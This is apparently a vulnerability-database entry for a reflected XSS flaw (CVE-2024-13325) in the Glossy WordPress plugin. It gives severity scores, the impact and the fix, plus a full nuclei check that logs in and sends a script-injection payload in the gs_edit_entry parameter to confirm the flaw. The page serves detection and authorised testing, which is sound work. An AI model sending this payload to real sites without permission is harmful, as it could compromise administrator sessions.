HexBrain

Browse / CVEs / CVE-2024-13325

CVE-2024-13325· croberts / glossy· CWE-79

Glossy WordPress - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=glossy-add-entry&gs_edit_entry=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","glossy")

Run it with nuclei: nuclei -id CVE-2024-13325 -u <target>

The full check
id: CVE-2024-13325

info:
  name: Glossy WordPress - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/49bddf87-c578-47b7-a8fb-4dc550bbaa47/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13325
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48234
    cpe: cpe:2.3:a:croberts:glossy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: croberts
    product: glossy
  tags: cve,cve2024,croberts,glossy,authenticated,xss,wordpress,wp-plugin,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=glossy-add-entry&gs_edit_entry=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","glossy")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from